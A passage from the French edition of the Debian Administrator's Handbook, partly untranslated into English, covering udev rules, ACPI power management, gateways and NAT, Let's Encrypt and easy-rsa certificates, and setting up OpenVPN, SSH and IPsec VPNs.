- NAME : le nom du fichier de périphérique à créer dans /dev/. Seule la première affectation compte, les autres sont ignorées ;

- SYMLINK : la liste des noms symboliques qui pointeront sur le même périphérique ;

- OWNER, GROUP et MODE définissent l'utilisateur et le groupe propriétaire du périphérique ainsi que les permissions associées ;

- RUN : la liste des programmes à exécuter en réponse à cet événement.

Les valeurs affectées à ces variables peuvent employer un certain nombre de substitutions :

- $kernel ou %k : équivalent de KERNEL ;

- $number ou %n : le numéro d'ordre du périphérique, par exemple « 3 » pour sda3 ;

- $devpath ou %p : équivalent de DEVPATH ;

- $attr{attribut} ou %s{attribut} : équivalent de ATTRS{attribut} ;

- $major ou %M : le numéro majeur du périphérique ;

- $minor ou %m : le numéro mineur du périphérique ;

- $result ou %c : la chaîne renvoyée par le dernier programme invoqué par PROGRAM ;

- enfin %% et $$ pour les caractères pourcent et dollar respectivement.

The above lists are not complete (they include only the most important parameters), but the udev(7) manual page should be exhaustive.

9.11.4. Cas pratique

Prenons le cas d'une simple clé USB et essayons de lui affecter un nom fixe. Il faut d'abord trouver les éléments qui vont permettre de l'identifier de manière unique. Pour cela, on la branche et on exécute udevadm info -a -n /dev/sdc (en remplaçant évidemment /dev/sdc par le nom réel affecté à la clé).

# udevadm info -a -n /dev/sdc

[...]

looking at device '/devices/pci0000:00/0000:00:10.0/usb2/2-1/2-1:1.0/host4/target4:0:0/4:0:0:0/block/sdc':

KERNEL=="sdc"

SUBSYSTEM=="block"

DRIVER==""

ATTR{hidden}=="0"

ATTR{events}=="media_change"

ATTR{ro}=="0"

ATTR{discard_alignment}=="0"

ATTR{removable}=="1"

ATTR{events_async}==""

ATTR{alignment_offset}=="0"

ATTR{capability}=="51"

ATTR{events_poll_msecs}=="-1"

ATTR{stat}=="130  0  6328  435  0  0  0  0  0  252  252  0  0  0  0"

ATTR{size}=="15100224"

ATTR{range}=="16"

ATTR{ext_range}=="256"

ATTR{inflight}=="0  0"

[...]

looking at parent device '/devices/pci0000:00/0000:00:10.0/usb2/2-1/2-1:1.0/host4/target4:0:0/4:0:0:0':

[...]

ATTRS{max_sectors}=="240"

[...]

looking at parent device '/devices/pci0000:00/0000:00:10.0/usb2/2-1':

KERNELS=="2-1"

SUBSYSTEMS=="usb"

DRIVERS=="usb"

ATTRS{bDeviceProtocol}=="00"

ATTRS{bNumInterfaces}==" 1"

ATTRS{busnum}=="2"

ATTRS{quirks}=="0x0"

ATTRS{authorized}=="1"

ATTRS{ltm_capable}=="no"

ATTRS{speed}=="480"

ATTRS{product}=="TF10"

ATTRS{manufacturer}=="TDK LoR"

[...]

ATTRS{serial}=="07032998B60AB777"

[...]

Pour constituer une ligne de règle, on peut employer des tests sur les variables du périphérique ainsi que celles d'un seul des périphériques parents. L'exemple ci-dessus permet notamment de créer deux règles comme celles-ci :

KERNEL=="sd?", SUBSYSTEM=="block", ATTRS{serial}=="07032998B60AB777", SYMLINK+="usb_key/disk"

KERNEL=="sd?[0-9]", SUBSYSTEM=="block", ATTRS{serial}=="07032998B60AB777", SYMLINK+="usb_key/part%n"

Une fois ces règles placées dans un fichier, nommé par exemple /etc/udev/rules.d/010_local.rules, il suffit de retirer puis réinsérer la clé USB. On peut alors constater que /dev/clef_usb/disk représente le disque associé à la clé USB et que /dev/clef_usb/part1 est sa première partition.

POUR ALLER PLUS LOIN Déboguer la configuration de udev

Comme beaucoup de démons, udevd enregistre des traces dans /var/log/daemon.log. Mais il n'est pas très verbeux par défaut et cela ne permet que rarement de comprendre ce qu'il fait. La commande sudo udevadm control --log-priority=info augmente le niveau de verbosité courant et résout ce problème. udevadm control --log-priority=err remet en place le niveau par défaut.

9.12. Gestion de l'énergie : Advanced Configuration and Power Interface (ACPI)

La question de la gestion de l'énergie reste souvent problématique. En effet, une mise en veille réussie requiert que les pilotes de tous les périphériques de l'ordinateur sachent se désactiver et surtout reconfigurer le périphérique au réveil. Malheureusement, il subsiste quelques périphériques incapables de bien se mettre en veille sous Linux car leurs constructeurs n'en ont pas fourni les spécifications.

Linux supports ACPI (Advanced Configuration and Power Interface) — the most recent standard in power management. The acpid package provides a daemon that looks for power management related events (switching between AC and battery power on a laptop, etc.) and that can execute various commands in response.

ATTENTION Carte graphique et mise en veille

Le pilote de la carte graphique est souvent celui qui pose problème lors de la mise en veille. En cas de souci, il convient donc de tester la dernière version du serveur graphique X.org.

Après ce survol des services de base communs à de nombreux Unix, nous nous focaliserons sur l'environnement dans lequel évoluent les machines administrées : le réseau. De nombreux services sont en effet nécessaires à son bon fonctionnement — nous vous proposons de les découvrir dans le chapitre qui suit.

Chapitre 10. Infrastructure réseau

Linux profite du considérable héritage d'Unix dans le domaine des réseaux et Debian dispose de toute la panoplie des outils existants pour les créer et les gérer. Ce chapitre les passe en revue.

10.1. Passerelle

Une passerelle relie plusieurs réseaux entre eux. Ce terme désigne souvent la « porte de sortie » d'un réseau local, point de passage obligé pour atteindre toutes les adresses IP externes. La passerelle est connectée à chacun des réseaux qu'elle relie et agit en tant que routeur pour faire transiter les paquets IP entre ses différentes interfaces.

B.A.-BA Paquet IP

Les réseaux employant le protocole Internet (IP — Internet Protocol) pour échanger des informations fonctionnent par paquets : les données y circulent de manière intermittente dans des blocs de taille limitée. Chaque paquet contient, en plus des données, les informations nécessaires à son acheminement (ou routage).

B.A.-BA TCP/UDP

TCP est un protocole permettant d'établir un flux de données continues entre deux points. Il repose sur IP, mais il permet aux programmes qui l'utilisent de faire abstraction des paquets eux-mêmes. Ces programmes ne voient qu'un point d'entrée dans lequel ils envoient des octets, ces octets ressortant sans perte (et dans l'ordre) au point de sortie. TCP compense en effet diverses erreurs qui peuvent apparaître au niveau réseau inférieur : les pertes de paquets déclenchent une retransmission et les données sont remises dans l'ordre le cas échéant (par exemple si tous les paquets n'empruntent pas le même itinéraire).

UDP est également un protocole qui repose sur IP mais, à la différence de TCP, il reste orienté paquet. Il n'a pas les mêmes buts non plus : il ne s'agit ici que de faire passer un paquet d'une application à une autre. Le protocole ne cherche pas à corriger les éventuelles pertes de paquets sur le réseau, pas plus qu'il ne va s'assurer que les paquets sont remis à l'application destinataire dans l'ordre où ils ont été émis. On y gagne généralement en temps de latence, puisque la perte d'un paquet ne bloque pas la réception des paquets suivants jusqu'à la retransmission du paquet perdu.

TCP et UDP fonctionnent avec des ports, qui sont des points d'attache pour établir une connexion avec une application sur une machine. Ce concept permet d'avoir plusieurs communications différenciées avec le même interlocuteur, le numéro de port étant le critère distinctif.

Some of these port numbers — standardized by the IANA (Internet Assigned Numbers Authority) — are “well-known” for being associated with network services. For instance, TCP port 25 is generally used by the email server. The list of services associated with port numbers can be found in the /etc/services file, also explained in services(5), as well as in:

→ https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml

Lorsqu'un réseau local utilise une plage d'adresses privées (non routables sur Internet), la passerelle doit effectuer du masquerading (masquage d'adresses IP) pour que ses machines puissent communiquer avec l'extérieur. L'opération consiste à remplacer chaque connexion sortante par une connexion provenant de la passerelle elle-même (disposant d'une adresse valable sur le réseau externe) puis à faire suivre les données reçues en réponse à la machine ayant initiée la connexion. Pour mener à bien cette tâche, la passerelle dispose d'une plage de ports TCP dédiés au masquerading (il s'agit souvent de numéros de port très élevés, supérieurs à 60 000). Chaque nouvelle connexion issue d'une machine interne apparaîtra à l'extérieur comme provenant de l'un de ces ports réservés. Lorsque la passerelle reçoit une réponse sur l'un d'entre eux, elle sait à quelle machine la faire suivre.

CULTURE Plages d'adresses privées

La RFC 1918 définit trois plages d'adresses IPv4 à ne pas router sur Internet, prévues pour un usage dans des réseaux locaux. La première, 10.0.0.0/8 (voir encadré B.A.-BA Rappels réseau essentiels (Ethernet, adresse IP, sous-réseau, broadcast...)), est une plage de classe A (contenant 2^24 adresses IP). La deuxième, 172.16.0.0/12, rassemble 16 plages de classe B (172.16.0.0/16 à 172.31.0.0/16) pouvant contenir chacune 2^16 adresses IP. La dernière, 192.168.0.0/16, est une plage de classe B (regroupant les 256 plages de classe C 192.168.0.0/24 à 192.168.255.0/24, de 256 adresses IP chacune).

→ http://www.faqs.org/rfcs/rfc1918.html

La passerelle peut également effectuer une traduction d'adresses réseau (NAT, ou Network Address Translation). Il en existe de deux types. Le Destination NAT (DNAT) est une technique pour altérer l'adresse IP (et/ou le port TCP ou UDP) destinataire d'une nouvelle connexion (généralement entrante). Le mécanisme de « suivi des connexions » (connection tracking) altérera aussi les autres paquets de la même connexion pour assurer la continuité de la communication. Son pendant, le Source NAT (SNAT), dont le masquerading est un cas particulier, altère l'adresse IP (et/ou le port TCP ou UDP) source d'une nouvelle connexion (généralement sortante). Comme pour le DNAT, le suivi des connexions gère de manière adéquate les paquets suivants. Il est à noter que ce mécanisme de NAT n'est pertinent que dans le cas d'IPv4 ; l'abondance d'adresses fait que le NAT n'est pas requis sur les réseaux IPv6, ce qui simplifie les configurations puisque chaque adresse est routée directement (ce qui ne veut pas dire qu'elle soit accessible, des coupe-feu pouvant filtrer le trafic en chemin).

B.A.-BA Port forwarding

Le port forwarding, dont le principe est de rediriger (« faire suivre ») une connexion entrant sur un port donné vers un port d'une autre machine, se réalise facilement à partir d'une technique de DNAT. D'autres solutions techniques existent cependant pour obtenir un résultat similaire, notamment avec des redirections au niveau applicatif grâce à ssh (voir Section 9.2.1.4, « Créer des tunnels chiffrés avec le port forwarding ») ou redir.

Après la théorie, place à la pratique. Il est très facile de transformer un système Debian en passerelle : il suffit d'activer l'option adéquate du noyau Linux. On peut pour cela procéder par l'intermédiaire du système de fichiers virtuels /proc :

# echo 1 > /proc/sys/net/ipv4/conf/default/forwarding

This option can also be automatically enabled on boot if /etc/sysctl.conf or a configuration file in /etc/sysctl.d/ sets the net.ipv4.conf.default.forwarding option to 1.

Exemple 10.1. Fichier /etc/sysctl.conf

net.ipv4.conf.default.forwarding = 1

net.ipv4.conf.default.rp_filter = 1

net.ipv4.tcp_syncookies = 1

Pour IPv6, on remplacera simplement ipv4 par ipv6 dans la commande et on modifiera la ligne net.ipv6.conf.all.forwarding dans /etc/sysctl.conf.

Activer le masquerading IPv4 est une opération plus complexe, nécessitant de configurer le pare-feu netfilter.

L'emploi du NAT (en IPv4) nécessite lui aussi de configurer netfilter. Comme il s'agit d'un élément logiciel dont la vocation première est de servir de filtre de paquets, il sera abordé dans le chapitre « Sécurité » (voir Section 14.2, « Pare-feu ou filtre de paquets »).

10.2. X.509 certificates

Certificates are an important building block of many network services built on cryptographic protocols, when they need some sort of central authentication.

Among those protocols, SSL (Secure Socket Layer) was invented by Netscape to secure connections to web servers. It was later standardized by IETF under the acronym TLS (Transport Layer Security). Since then TLS continued to evolve, and nowadays SSL is deprecated due to multiple design flaws that have been discovered.

The TLS protocol aims primarily to provide privacy and data integrity between two or more communicating computer applications. The most common case on the Internet is the communication between a client (e.g. a web browser) and a server.

A key pair is needed for the exchange of information, which involves a public key that includes information about the identity of the owner and matches a private key. The private key must be kept secret, otherwise the security is compromised. However, anyone can create a key pair, store any identity on it, and pretend to be the identity of their choice. One solution involves the concept of a Certification Authority (CA), formalized by the X.509 standard. This term covers an entity that holds a trusted key pair known as a root certificate. This certificate is only used to sign other certificates (key pairs), after proper steps have been undertaken to check the identity stored on the key pair. Applications using X.509 can then check the certificates presented to them, if they know about the trusted root certificates.

You can implement a CA (as described in Section 10.2.2, « Infrastructure de clés publiques easy-rsa »), but if you intend to use the certificate for a website, you need to rely on a trusted CA. The prices vary significantly, but it is possible to implement great security spending little to no money.

10.2.1. Creating gratis trusted certificates

Many programs create and use snakeoil certificates by default (see sidebar SÉCURITÉ Certificat SSL snake oil). Fortunately the certbot package brings everything we need to create our own trusted certificates, provided by the "Lets Encrypt" initiative (see sidebar CULTURE The Let's Encrypt Initiative), which can also be used for mail transport agents (Postfix), mail delivery agents (Dovecot, Cyrus, etc.), and other network services.

The Falcot administrators just want to create a certificate for their website, which runs on Apache. There is a convenient Apache plugin for certbot that automatically edits the Apache configuration to serve the obtained certificate, so they make use of it:

# apt install python3-certbot-apache

[...]

# certbot --apache

aving debug log to /var/log/letsencrypt/letsencrypt.log

Plugins selected: Authenticator apache, Installer apache

Enter email address (used for urgent renewal and security notices)

(Enter 'c' to cancel): admin@falcot.com

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Please read the Terms of Service at

https://letsencrypt.org/documents/LE-SA-v1.2-November-15-2017.pdf. You must

agree in order to register with the ACME server. Do you agree?

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

(Y)es/(N)o: Y

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Would you be willing, once your first certificate is successfully issued, to

share your email address with the Electronic Frontier Foundation, a founding

partner of the Let's Encrypt project and the non-profit organization that

develops Certbot? We'd like to send you email about our work encrypting the web,

EFF news, campaigns, and ways to support digital freedom.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

(Y)es/(N)o: N

Account registered.

No names were found in your configuration files. Please enter in your domain

name(s) (comma and/or space separated)  (Enter 'c' to cancel): falcot.com

Requesting a certificate for falcot.com

Performing the following challenges:

http-01 challenge for falcot.com

Enabled Apache rewrite module

Waiting for verification...

Cleaning up challenges

Created an SSL vhost at /etc/apache2/sites-available/000-default-le-ssl.conf

Enabled Apache socache_shmcb module

Enabled Apache ssl module

Deploying Certificate to VirtualHost /etc/apache2/sites-available/000-default-le-ssl.conf

Enabling available site: /etc/apache2/sites-available/000-default-le-ssl.conf

Please choose whether or not to redirect HTTP traffic to HTTPS, removing HTTP access.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

1: No redirect - Make no further changes to the webserver configuration.

2: Redirect - Make all requests redirect to secure HTTPS access. Choose this for

new sites, or if you're confident your site works on HTTPS. You can undo this

change by editing your web server's configuration.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Select the appropriate number [1-2] then [enter] (press 'c' to cancel): 2

Enabled Apache rewrite module

Redirecting vhost in /etc/apache2/sites-enabled/000-default.conf to ssl vhost in /etc/apache2/sites-available/000-default-le-ssl.conf

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Congratulations! You have successfully enabled https://falcot.com

You should test your configuration at:

https://www.ssllabs.com/ssltest/analyze.html?d=falcot.com

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

IMPORTANT NOTES:

- Congratulations! Your certificate and chain have been saved at:

/etc/letsencrypt/live/falcot.com/fullchain.pem

Your key file has been saved at:

/etc/letsencrypt/live/falcot.com/privkey.pem

Your cert will expire on 2022-06-04. To obtain a new or tweaked

version of this certificate in the future, simply run certbot again

with the "certonly" option. To non-interactively renew *all* of

your certificates, run "certbot renew"

- Your account credentials have been saved in your Certbot

configuration directory at /etc/letsencrypt. You should make a

secure backup of this folder now. This configuration directory will

also contain certificates and private keys obtained by Certbot so

making regular backups of this folder is ideal.

- If you like Certbot, please consider supporting our work by:

Donating to ISRG / Let's Encrypt:   https://letsencrypt.org/donate

Donating to EFF:                    https://eff.org/donate-le

CULTURE The Let's Encrypt Initiative

The Let's Encrypt initiative is a joint effort to create a free, automated, and open certificate authority (CA), run for the public's benefit. It is supported by the EFF and the Linux Foundation. The initiative provides an automated tool for acquiring and renewing certificates. This reduces the amount of manual effort involved, especially if multiple sites and domains must be managed. The certificates can also be used for SIP, XMPP, WebSockets and TURN servers. Usage of the service requires control over the DNS information of the domain in question (domain validation).

→ https://letsencrypt.org/how-it-works/

If you would rather keep the server running during the certificate creation, you can use the webroot plugin to get the certificate with the arguments certonly and --webroot. You would have to specify a --webroot-path (abbreviated -w), which should contain the files served. The command looks as follows:

# certbot certonly --webroot -w /var/www/html -d www.DOMAIN.com -d DOMAIN.com

You need to restart all services using the certificates that you have created.

The certificates created are so called short-life certificates, which are valid for 90 days and must therefor be renewed every once in three months using the certbot renew command. However, we shouldn't renew every certificate manually, but automatically. A basic cron job is included by certbot in /etc/cron.d/certbot. To ensure that certificates can be automatically renewed, you can execute certbot renew --dry-run.

10.2.2. Infrastructure de clés publiques easy-rsa

It is also possible to create our own CA, for that we will use the RSA algorithm, widely used in public-key cryptography. It involves a “key pair”, comprised of a private and a public key. The two keys are closely linked to each other, and their mathematical properties are such that a message encrypted with the public key can only be decrypted by someone knowing the private key, which ensures confidentiality. In the opposite direction, a message encrypted with the private key can be decrypted by anyone knowing the public key, which allows authenticating the origin of a message since only someone with access to the private key could generate it. When associated with a digital hash function (MD5, SHA1, or a more recent variant), this leads to a signature mechanism that can be applied to any message.

Since public CAs only emit certificates in exchange for a (hefty) fee, it is also possible to create a private certification authority within the company. The easy-rsa package provides tools to serve as an X.509 certification infrastructure, implemented as a set of scripts using the openssl command.

ALTERNATIVE GnuTLS

GnuTLS can also be used to generate a CA, and deal with other technologies around the TLS, DTLS and SSL protocols.

The package gnutls-bin contains the command-line utilities. It is also useful to install the gnutls-doc package, which includes extensive documentation.

Les administrateurs de Falcot décident de l'employer pour créer les certificats nécessaires, à la fois pour le serveur et pour les clients. La configuration de tous les clients sera ainsi a priori identique puisqu'il suffira de préciser à chacun qu'il ne doit faire confiance qu'aux certificats signés par l'autorité de certification locale, celle de Falcot. Ils commencent par créer cette dernière ; pour cela, ils mettent en place un répertoire contenant les fichiers nécessaires à l'autorité de certification à un emplacement qu'ils contrôlent, et de préférence sur une machine non connectée au réseau afin de limiter les risques de vol de la clé privée de l'autorité de certification.

$ make-cadir pki-falcot

$ cd pki-falcot

They then store the required parameters into the vars file, which can be uncommented and edited:

$ grep EASYRSA vars

if [ -z "$EASYRSA_CALLER" ]; then

# easyrsa.  More specific variables for specific files (e.g., EASYRSA_SSL_CONF)

#set_var EASYRSA "${0%/*}"

#set_var EASYRSA_OPENSSL "openssl"

#set_var EASYRSA_OPENSSL "C:/Program Files/OpenSSL-Win32/bin/openssl.exe"

#set_var EASYRSA_PKI "$PWD/pki"

#set_var EASYRSA_TEMP_DIR "$EASYRSA_PKI"

#set_var EASYRSA_DN "cn_only"

set_var EASYRSA_REQ_COUNTRY "FR"

set_var EASYRSA_REQ_PROVINCE "Loire"

set_var EASYRSA_REQ_CITY "Saint-Étienne"

set_var EASYRSA_REQ_ORG "Falcot Corp"

set_var EASYRSA_REQ_EMAIL "admin@falcot.com"

set_var EASYRSA_REQ_OU "Certificate authority"

#set_var EASYRSA_KEY_SIZE 2048

#set_var EASYRSA_ALGO rsa

#set_var EASYRSA_CURVE secp384r1

#set_var EASYRSA_CA_EXPIRE 3650

#set_var EASYRSA_CERT_EXPIRE 825

#set_var EASYRSA_CRL_DAYS 180

#set_var EASYRSA_CERT_RENEW 30

#set_var EASYRSA_RAND_SN "yes"

#set_var EASYRSA_NS_SUPPORT "no"

#set_var EASYRSA_NS_COMMENT "Easy-RSA Generated Certificate"

#set_var EASYRSA_TEMP_FILE "$EASYRSA_PKI/extensions.temp"

# when undefined here, default behaviour is to look in $EASYRSA_PKI first, then

# fallback to $EASYRSA for the 'x509-types' dir.  You may override this

#set_var EASYRSA_EXT_DIR "$EASYRSA/x509-types"

#set_var EASYRSA_KDC_REALM      "CHANGEME.EXAMPLE.COM"

# EASYRSA_PKI or EASYRSA dir (in that order.) NOTE that this file is Easy-RSA

#set_var EASYRSA_SSL_CONF "$EASYRSA/openssl-easyrsa.cnf"

#set_var EASYRSA_REQ_CN "ChangeMe"

#set_var EASYRSA_DIGEST "sha256"

#set_var EASYRSA_BATCH ""

$ vim vars

$

Now we prepare the public key infrastructure directory with the following command:

$ ./easyrsa init-pki

init-pki complete; you may now create a CA or requests.

Your newly created PKI dir is: /home/debian/pki-falcot/pki

The next step is the creation of the CA's key pair itself (the two parts of the key pair will be stored under pki/ca.crt and pki/private/ca.key during this step). We can add the option nopass to avoid entering a password each time the private key is used:

$ ./easyrsa build-ca nopass

Using SSL: openssl OpenSSL 1.1.1k  25 Mar 2021

Generating RSA private key, 2048 bit long modulus (2 primes)

..................+++++

...............................+++++

e is 65537 (0x010001)

You are about to be asked to enter information that will be incorporated

into your certificate request.

What you are about to enter is what is called a Distinguished Name or a DN.

There are quite a few fields but you can leave some blank

For some fields there will be a default value,

If you enter '.', the field will be left blank.

-----

Common Name (eg: your user, host, or server name) [Easy-RSA CA]:

CA creation complete and you may now import and sign cert requests.

Your new CA certificate file for publishing is at:

/home/debian/pki-falcot/pki/ca.crt

The certificate can now be created, as well as the Diffie-Hellman parameters required for the server side of an SSL/TLS connection. They want to use it for a VPN server (see section Section 10.3, « Réseau privé virtuel ») that is identified by the DNS name vpn.falcot.com; this name is re-used for the generated key files (keys/vpn.falcot.com.crt for the public certificate, keys/vpn.falcot.com.key for the private key):

$ ./easyrsa gen-req vpn.falcot.com nopass

Using SSL: openssl OpenSSL 1.1.1k  25 Mar 2021

Generating a RSA private key

......................................+++++

..........................................................................+++++

writing new private key to '/home/debian/pki-falcot/pki/easy-rsa-5515.0PwyXl/tmp.g1c6u6'

-----

You are about to be asked to enter information that will be incorporated

into your certificate request.

What you are about to enter is what is called a Distinguished Name or a DN.

There are quite a few fields but you can leave some blank

For some fields there will be a default value,

If you enter '.', the field will be left blank.

-----

Common Name (eg: your user, host, or server name) [vpn.falcot.com]:

Keypair and certificate request completed. Your files are:

req: /home/debian/pki-falcot/pki/reqs/vpn.falcot.com.req

key: /home/debian/pki-falcot/pki/private/vpn.falcot.com.key

$ ./easyrsa sign-req server vpn.falcot.com

Using SSL: openssl OpenSSL 1.1.1k  25 Mar 2021

You are about to sign the following certificate.

Please check over the details shown below for accuracy. Note that this request

has not been cryptographically verified. Please be sure it came from a trusted

source or that you have verified the request checksum with the sender.

Request subject, to be signed as a server certificate for 825 days:

subject=

commonName                = vpn.falcot.com

Type the word 'yes' to continue, or any other input to abort.

Confirm request details: yes

Using configuration from /home/debian/pki-falcot/pki/easy-rsa-5603.87iCIa/tmp.u8r8Fj

Check that the request matches the signature

Signature ok

The Subject's Distinguished Name is as follows

commonName            :ASN.1 12:'vpn.falcot.com'

Certificate is to be certified until May 27 15:26:29 2024 GMT (825 days)

Write out database with 1 new entries

Data Base Updated

Certificate created at: /home/debian/pki-falcot/pki/issued/vpn.falcot.com.crt

$ ./easyrsa gen-dh

Using SSL: openssl OpenSSL 1.1.1k  25 Mar 2021

Generating DH parameters, 2048 bit long safe prime, generator 2

This is going to take a long time

[…]

DH parameters of size 2048 created at /home/debian/pki-falcot/pki/dh.pem

Il ne reste plus qu'à créer les certificats pour les clients du VPN, un par ordinateur ou personne autorisée à s'y connecter :

$ ./easyrsa build-client-full JoeSmith nopass

Using SSL: openssl OpenSSL 1.1.1k  25 Mar 2021

Generating a RSA private key

...................................+++++

.........................................................................................+++++

writing new private key to '/home/debian/pki-falcot/pki/easy-rsa-5694.DOYwSn/tmp.RKlbOE'

-----

Using configuration from /home/debian/pki-falcot/pki/easy-rsa-5694.DOYwSn/tmp.d5QHAC

Check that the request matches the signature

Signature ok

The Subject's Distinguished Name is as follows

commonName            :ASN.1 12:'JoeSmith'

Certificate is to be certified until May 27 15:29:25 2024 GMT (825 days)

Write out database with 1 new entries

Data Base Updated

10.3. Réseau privé virtuel

Un réseau privé virtuel (Virtual Private Network, ou VPN) est un moyen de relier par Internet deux réseaux locaux distants via un tunnel (généralement chiffré pour des raisons de confidentialité). Souvent, cette technique sert simplement à intégrer une machine distante au sein du réseau local de l'entreprise.

Several tools provide this functionality. OpenVPN is an efficient solution, easy to deploy and maintain, based on SSL/TLS. Another possibility is using IPsec to encrypt IP traffic between two machines; this encryption is transparent, which means that applications running on these hosts need not be modified to take the VPN into account. SSH can also be used to provide a VPN, in addition to its more conventional features. Finally, a VPN can be established using Microsoft's PPTP protocol. Other solutions exist, but are beyond the focus of this book.

10.3.1. OpenVPN

Logiciel dédié à la création de réseaux privés virtuels, sa mise en œuvre implique la création d'interfaces réseau virtuelles à la fois sur le serveur VPN et sur le (ou les) client(s). Il gère aussi bien les interfaces tun (tunnel de niveau IP) que tap (tunnel de niveau Ethernet). Concrètement, on emploiera des interfaces tun sauf lorsque l'on souhaite intégrer les clients VPN dans le réseau local du serveur par le biais d'un pont Ethernet (bridge).

OpenVPN s'appuie sur OpenSSL pour gérer toute la cryptographie SSL/TLS et assurer les fonctions associées (confidentialité, authentification, intégrité, non-répudiation). Il peut être configuré pour employer une clé secrète partagée ou pour exploiter des certificats X509 d'une infrastructure de clés publiques. Cette dernière configuration sera toujours privilégiée car plus souple pour gérer une population croissante d'utilisateurs nomades disposant d'un accès au VPN.

10.3.1.1. Configuration du serveur OpenVPN

After all certificates have been created (follow the instructions from Section 10.2.2, « Infrastructure de clés publiques easy-rsa »), they need to be copied where appropriate: the root certificate's public key (pki/ca.crt) will be stored on all machines (both server and clients) as /etc/ssl/certs/Falcot_CA.crt. The server's certificate is installed only on the server (pki/issued/vpn.falcot.com.crt goes to /etc/ssl/certs/vpn.falcot.com.crt, and pki/private/vpn.falcot.com.key goes to /etc/ssl/private/vpn.falcot.com.key with restricted permissions so that only the administrator can read it), with the corresponding Diffie-Hellman parameters (pki/dh.pem) installed to /etc/openvpn/dh.pem. Client certificates are installed on the corresponding VPN client in a similar fashion.

By default, the OpenVPN initialization script tries starting all virtual private networks defined in /etc/openvpn/*.conf. Setting up a VPN server is therefore a matter of storing a corresponding configuration file in this directory. A good starting point is /usr/share/doc/openvpn/examples/sample-config-files/server.conf.gz, which leads to a rather standard server. Of course, some parameters need to be adapted: ca, cert, key and dh need to describe the selected locations (respectively, /etc/ssl/certs/Falcot_CA.crt, /etc/ssl/vpn.falcot.com.crt, /etc/ssl/private/vpn.falcot.com.key and /etc/openvpn/dh.pem). The server 10.8.0.0 255.255.255.0 directive defines the subnet to be used by the VPN; the server uses the first IP address in that range (10.8.0.1) and the rest of the addresses are allocated to clients.

With this configuration, starting OpenVPN creates the virtual network interface, usually under the tun0 name. However, firewalls are often configured at the same time as the real network interfaces, which happens before OpenVPN starts. Good practice therefore recommends creating a persistent virtual network interface, and configuring OpenVPN to use this pre-existing interface. This further allows choosing the name for this interface. To this end, openvpn --mktun --dev vpn --dev-type tun creates a virtual network interface named vpn with type tun; this command can easily be integrated in the firewall configuration script, or in an up directive of the /etc/network/interfaces file, or a udev rule can be added to that end. The OpenVPN configuration file must also be updated accordingly, with the dev vpn and dev-type tun directives.

Sans mesures supplémentaires, les clients VPN n'ont accès qu'au serveur VPN, par l'intermédiaire de l'adresse IP 10.8.0.1. Pour donner accès au réseau local (192.168.0.0/24), il faut ajouter une directive push route 192.168.0.0 255.255.255.0 à la configuration d'OpenVPN afin que les clients VPN obtiennent automatiquement une route indiquant que le réseau en question est joignable par l'intermédiaire du VPN. En outre, il faut s'assurer que toutes les machines du réseau local aient une route indiquant que le réseau privé virtuel est accessible par l'intermédiaire du serveur VPN (c'est automatiquement le cas si le serveur VPN est installé sur la passerelle du réseau local). Alternativement, il faut configurer le masquerading sur le serveur afin que les connexions initiées par les clients apparaissent comme provenant du serveur VPN (voir Section 10.1, « Passerelle »).

10.3.1.2. Configuration du client OpenVPN

Pour mettre en place un client OpenVPN, il faut également déposer un fichier de configuration dans /etc/openvpn/. On pourra s'inspirer de /usr/share/doc/openvpn/examples/sample-config-files/client.conf pour une configuration standard. La directive remote vpn.falcot.com 1194 indique l'adresse et le port du serveur OpenVPN. Les directives ca, cert et key doivent aussi être modifiées pour indiquer l'emplacement des différentes clés.

If the VPN should not be started automatically on boot, set the AUTOSTART directive to none in the /etc/default/openvpn file. Starting or stopping a given VPN connection is always possible with the commands systemctl start openvpn@name and systemctl stop openvpn@name (where the connection name matches the one defined in /etc/openvpn/name.conf).

The network-manager-openvpn-gnome package contains an extension to Network Manager (see Section 8.2.5, « Configuration réseau itinérante ») that allows managing OpenVPN virtual private networks. This allows every user to configure OpenVPN connections graphically and to control them from the network management icon.

10.3.2. Réseau privé virtuel avec SSH

There are actually two ways of creating a virtual private network with SSH. The historic one involves establishing a PPP layer over the SSH link. This method is described in a HOWTO document:

→ https://www.tldp.org/HOWTO/ppp-ssh/

La seconde méthode est plus récente. OpenSSH permet en effet, depuis sa version 4.3, d'établir des interfaces réseau virtuelles (tun*) de part et d'autre d'une connexion SSH. Ces interfaces réseau peuvent alors être configurées exactement comme s'il s'agissait d'interfaces réseau locales. Il faut autoriser la création de tunnels en positionnant PermitTunnel à « yes » dans la configuration du serveur SSH (/etc/ssh/sshd_config). Lors de l'établissement de la connexion, il faut explicitement demander la création d'un tunnel en passant l'option -w any:any (on peut remplacer any par le numéro de périphérique tun désiré). Des deux côtés, l'utilisateur doit avoir les droits administrateur pour créer le périphérique réseau nécessaire (autrement dit, il faut se connecter en tant que root).

Quelle que soit la méthode choisie, l'établissement d'un réseau privé virtuel sur SSH est très simple à mettre en œuvre. En revanche, ce n'est pas le fonctionnement le plus efficace : il n'est pas adapté aux gros débits sur le réseau privé virtuel.

The explanation is that when a TCP/IP stack is encapsulated within a TCP/IP connection (for SSH), the TCP protocol is used twice, once for the SSH connection and once within the tunnel. This leads to problems, especially due to the way TCP adapts to network conditions by altering timeout delays. The following site describes the problem in more detail:

→ http://sites.inka.de/sites/bigred/devel/tcp-tcp.html

VPNs over SSH should therefore be restricted to one-off tunnels with no performance constraints.

10.3.3. IPsec

IPsec, despite being the standard in IP VPNs, is rather more involved in its implementation. The IPsec engine itself is integrated in the Linux kernel; the required user-space parts, the control and configuration tools, are provided by the libreswan package or the strongswan package. Here we describe briefly the first of these options.

First, we install the libreswan package. In concrete terms, each host's /etc/ipsec.conf contains the parameters for IPsec tunnels (or Security Associations, in the IPsec terminology) that the host is concerned with. There are many configuration examples in /usr/share/doc/libreswan/, but Libreswan's online documentation has more examples with explanations:

→ https://libreswan.org/wiki/

